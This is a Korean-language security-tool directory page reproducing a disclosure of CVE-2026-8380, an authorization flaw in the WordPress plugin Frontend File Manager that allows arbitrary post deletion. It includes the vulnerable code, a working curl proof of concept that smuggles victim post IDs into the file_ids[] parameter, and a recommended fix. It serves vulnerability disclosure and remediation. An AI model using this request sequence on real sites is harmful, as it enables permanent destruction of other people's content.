Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-8380 — CVE-2026-8380 | Kitploit
도구/GitHubGitHub/tiagob0b/cve-2026-8380
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubtiagob0b/cve-2026-8380

CVE-2026-8380

CVE-2026-8380

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-8380

CVE-2026-8380 — Frontend File Manager <= 23.6 임의 게시물 삭제

개요

WordPress 플러그인 Frontend File Manager(nmedia-user-file-uploader) 버전 <= 23.6에서 심각한 권한 검증 결함이 발견되었습니다.

이 취약점으로 인해 낮은 권한을 가진 인증 사용자가 AJAX 삭제 엔드포인트의 부적절한 권한 검증으로 인해 임의의 WordPress 게시물, 페이지, 첨부 파일 및 사용자 정의 게시물 유형을 영구적으로 삭제할 수 있습니다.

플러그인 옵션 _allow_guest_upload=yes가 활성화되면 인증되지 않은 공격자도 이 취약점을 악용할 수 있습니다.

  • CVE: CVE-2026-8380
  • 플러그인: Frontend File Manager (nmedia-user-file-uploader)
  • 영향받는 버전: <= 23.6
  • 연구자: Tiago Ferreira
  • CWE: CWE-639 / CWE-862
  • 취약점 유형: 임의 게시물 삭제
  • WPScan: https://wpscan.com/vulnerability/45fcbf74-45be-4cff-a81a-0fea903592a5/

핵심 요약

이 플러그인은 wpfm_delete_file AJAX 액션 내부의 매개변수 불일치로 인해 WordPress 콘텐츠를 임의로 삭제할 수 있게 하는 심각한 권한 우회 취약점을 포함하고 있습니다.

이 취약점은 통제된 실험실 환경에서 실제 개념 증명 악용을 통해 성공적으로 검증되었습니다.

연구 과정에서 추가적인 보안 취약점도 확인되었습니다:

  • nonce 검증이 없는 메타데이터 업데이트 엔드포인트의 CSRF
  • 마지막 파일 확장자만을 기준으로 하는 확장자 허용 목록 우회
  • 여러 엔드포인트에서 권한 검사를 비활성화하는 _allow_guest_upload
  • REMOTE_ADDR만 기반으로 하는 요청 속도 제한

취약한 엔드포인트

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=wpfm_delete_file

영향을 받는 파일

root@kitploit:~
inc/files.php

취약한 코드 영역

root@kitploit:~
// inc/files.php:691
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}

// inc/files.php:695
$file_ids = isset($_POST['file_ids']) && is_array($_POST['file_ids'])
            ? array_map('intval', $_POST['file_ids']) : [];

foreach ($file_ids as $file_id) {
    $file = new WPFM_File($file_id);

    wp_delete_post($file_id, $bypass_trash);
}

근본 원인

권한 검사는 다음 단일 매개변수를 사용하여 소유권을 검증합니다:

root@kitploit:~
$_POST['file_id']

그러나 실제 삭제 작업은 다른 매개변수를 반복 처리합니다:

root@kitploit:~
$_POST['file_ids[]']

이러한 불일치로 인해 공격자는 다음을 수행할 수 있습니다:

  1. file_id에 합법적으로 소유한 게시물을 제공
  2. file_ids[]에 임의의 피해자 게시물 ID를 주입

다음 사항을 보장하는 검증은 존재하지 않습니다:

  • file_ids[]의 모든 항목에 대한 소유권
  • 허용된 post_type
  • file_id와 file_ids[] 간의 관계

결과적으로 임의의 WordPress 콘텐츠가 영구적으로 삭제될 수 있습니다.


영향

최소 권한을 가진 인증 사용자가 다음 항목을 영구적으로 삭제할 수 있습니다:

  • 게시물
  • 페이지
  • 제품
  • 첨부 파일
  • 사용자 정의 게시물 유형
  • 플러그인별 콘텐츠

삭제는 다음 코드로 수행됩니다:

root@kitploit:~
wp_delete_post($file_id, true);

즉, 콘텐츠가 휴지통 복구 없이 영구적으로 제거됩니다.

_allow_guest_upload=yes가 활성화된 경우:

  • 악용에 인증이 필요하지 않게 됩니다
  • 작성자 소유권 검사가 완전히 건너뛰어집니다

개념 증명

실험실 환경

  • 대상: 192.168.1.1:8080
  • 공격자 역할: 구독자
  • 피해자 역할: 관리자

공격자 계정

root@kitploit:~
wpfm_sub : Sub@Test123

피해자 게시물

root@kitploit:~
Page ID: 60
Post ID: 61

1단계 — Nonce 획득

공격자는 쇼트코드가 포함된 페이지를 방문합니다:

root@kitploit:~
[ffmwp]

Nonce 추출:

root@kitploit:~
curl -b sub_cookie http://target/wpfm-test/ | grep wpfm_ajax_nonce

응답:

root@kitploit:~
value="9c233d4720"

2단계 — 임의 삭제 트리거

root@kitploit:~
curl -b sub_cookie -X POST http://target/wp-admin/admin-ajax.php \
    --data 'action=wpfm_delete_file' \
    --data 'wpfm_ajax_nonce=9c233d4720' \
    --data 'file_id=57' \
    --data 'file_ids[]=60' \
    --data 'file_ids[]=61'

설명

매개변수설명
file_id=57권한 검사를 우회하는 데 사용된 구독자 소유 게시물
file_ids[]=60피해자 관리자 페이지
file_ids[]=61피해자 관리자 게시물

성공 응답

root@kitploit:~
{
  "success": true,
  "data": {
    "message": "2 files, directories are removed inside SUB-OWNED"
  }
}

검증

root@kitploit:~
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/pages/60
root@kitploit:~
404
root@kitploit:~
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/posts/61
root@kitploit:~
404

심각도

인증 시나리오

CVSS 3.1

root@kitploit:~
8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

게스트 업로드 활성화 시나리오

CVSS 3.1

root@kitploit:~
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

CWE 분류

  • CWE-639 — 사용자 제어 키를 통한 권한 우회
  • CWE-862 — 누락된 권한 부여

권장 수정 사항

file_ids[] 내부의 모든 항목에 대해 소유권과 게시물 유형을 검증하십시오.

안전한 구현 예시:

root@kitploit:~
foreach ($file_ids as $fid) {

    if ( ! wpfm_is_current_user_post_author($fid) ) {
        wp_send_json_error(...);
    }

    if ( get_post_type($fid) !== 'wpfm-files' ) {
        wp_send_json_error(...);
    }
}

타임라인

이벤트날짜
취약점 발견2026-05-28
공급업체 연락2026-05-28
WPScan 게시2026-06-04
대중 공개2026-06-18

참고 자료

  • WPScan 권고: https://wpscan.com/vulnerability/45fcbf74-45be-4cff-a81a-0fea903592a5/

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-8380


면책 조항

본 연구는 교육 및 보안 연구 목적으로만 통제된 실험실 환경에서 수행되었습니다.

적절한 권한 없이 시스템을 테스트하지 마십시오.

도구 다운로드